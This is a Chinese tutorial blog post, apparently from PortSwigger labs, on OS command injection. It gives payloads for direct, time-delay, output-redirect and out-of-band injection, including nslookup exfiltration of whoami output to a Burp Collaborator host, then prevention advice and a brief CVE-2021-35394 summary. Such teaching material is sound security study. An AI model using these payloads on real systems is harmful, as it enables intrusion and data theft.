什么是操作系统命令注入?

什么是操作系统命令注入?
操作系统命令注入(shell 注入)是一种 Web 安全漏洞,攻击者在运行应用程序的服务器上执行任意操作系统 命令,通常会完全破坏应用程序及其所有数据。很多时候,攻击者可以利用操作系统命令注入漏洞来破坏托管基础设施的其他部分,利用信任关系将攻击转向组织内的其他系统。


实验演示:

一.OS命令注入,简单案例

修改storeID参数,在数值后添加|whoami
在这里插入图片描述
这里给出一些常用的系统命令(Linux+window)
在这里插入图片描述

二.具有时间延迟的盲操作系统命令注入

操作系统命令注入的许多实例都是盲漏洞。意味着应用程序不会在其响应中返回命令的输出。这时候可以利用盲漏洞,但需要不同的技术。
1.具有时间延迟的盲操作系统命令注入
可以使用触发时间延迟的注入命令,允许根据应用程序响应所需的时间确认命令已执行。
ping命令:它允许指定要发送的 ICMP 数据包的数量,以及命令运行所需的时间:& ping -c 10 127.0.0.1 &(该&字符是一个 shell 命令分隔符)
实验演示例:
修改email参数,在后面添加:||ping+-c+10+127.0.0.1||
在这里插入图片描述
这里会持续指定的时间,页面才会有响应,类似SQL注入里的时间盲注。
2.带外交互的盲操作系统命令注入
该命令是异步执行的,对应用程序的响应没有影响。无法将输出重定向到可以访问的位置。但是可以触发与外部域的带外交互。
修改email参数,在后面添加 :

||nslookup+x.burpcollaborator.net||

在这里插入图片描述
有效负载使用nslookup命令对指定域进行 DNS 查找。可以监视指定的查找发生,从而检测到命令被成功注入。
3.通过重定向输出来利用盲目的操作系统命令注入
可以将注入命令的输出重定向到 Web 根目录中的文件,然后使用浏览器检索该文件。
例如,如果应用程序从文件系统位置提供静态资源/var/www/static,那么您可以提交以下输入:& whoami > /var/www/static/whoami.txt &
该>字符将whoami命令的输出发送到指定的文件。然后使用浏览器获取https://vulnerable-website.com/whoami.txt检索文件查看注入命令的输出。
实验演示例:
(1.)提交反馈,使用 Burp 拦截修改email参数并发送,将其更改为:

email=||whoami>/var/www/images/output.txt||

在这里插入图片描述
(2.)在使用 Burp 拦截和修改加载产品图像的请求。修改filename参数为:filename=output.txt
在这里插入图片描述
4.带外数据泄露的盲操作系统命令注入
该命令是异步执行的,对应用程序的响应没有影响。无法将输出重定向到可以访问的位置。但是可以触发与外部域的带外交互。
(1)提交反馈,使用Burp进行拦截发送到“重发器”
在这里插入图片描述
(2)打开 Burp Collaborator 客户端,通过“复制到剪贴板”将有效负载复制到剪贴板。保持 Burp Collaborator 客户端窗口打开状态。
在这里插入图片描述
(3)修改email参数

email=||nslookup+`whoami`.Burp Collaborator 客户端有效负载||

回到Burp Collaborator 客户端,点击轮询,查看显示的当前用户名,提交,实验完成。
在这里插入图片描述
在这里插入图片描述


注入操作系统命令的方法

多种 shell 元字符可用于执行 OS 命令注入攻击。
许多字符充当命令分隔符,允许将命令链接在一起。以下命令分隔符适用于 Windows 和基于 Unix 的系统:

&,&&,|,||

以下命令分隔符仅适用于基于 Unix 的系统:

;,换行符(0x0a或\n)

不同的 shell 元字符具有细微的不同行为,这些行为可能会影响它们是否在某些情况下工作,以及它们是否允许带内检索命令输出或仅对盲目利用有用。

如何防止操作系统命令注入攻击

防止操作系统命令注入漏洞的最有效方法是永远不要从应用层代码调用操作系统命令。几乎在每种情况下,都存在使用更安全的平台 API 实现所需功能的替代方法。
如果认为使用用户提供的输入调用操作系统命令是不可避免的,则必须执行强输入验证。有效验证的一些示例包括:

  • 根据允许值的白名单进行验证。
  • 验证输入是否为数字。
  • 验证输入仅包含字母数字字符,不包含其他语法或空格。

永远不要试图通过转义 shell 元字符来清理输入。在实践中,这太容易出错并且容易被熟练的攻击者绕过。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CVE-2021-35394是Realtek Jungle SDK中的一个操作系统命令注入漏洞。该漏洞使攻击者能够通过特制的网络请求向受影响的设备发送恶意命令,从而执行任意操作系统命令。这可能导致远程执行代码、敏感信息泄露或设备完全被接管。 为了保护受影响的设备免受此漏洞的影响,建议采取以下措施: 1. 更新固件:请查找设备制造商的官方网站,了解是否提供了修复此漏洞的安全补丁或更新固件。及时应用这些更新可以修复漏洞并提高设备的安全性。 2. 网络隔离:将受影响的设备与其他重要设备隔离开来,以减少潜在攻击者利用该漏洞对其他系统造成的风险。 3. 最小权限原则:为设备配置最小权限,确保只有必要的功能和服务可用。这可以减少攻击者利用漏洞所获得的权限和影响范围。 4. 安全审查:对于使用Realtek Jungle SDK的应用程序或设备,进行安全审查以识别潜在的漏洞和安全风险。这可以帮助您及时采取措施来修复和保护系统。 5. 安全意识培训:为设备使用者和网络管理员提供相关的安全意识培训,教育他们识别和防范网络攻击,并强调及时报告任何可疑活动。 请注意,这只是一些建议措施,具体的防护方法可能因设备和环境而异。如果您是受影响的设备的用户或管理员,请及时联系设备制造商获取更多的安全建议和支持。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值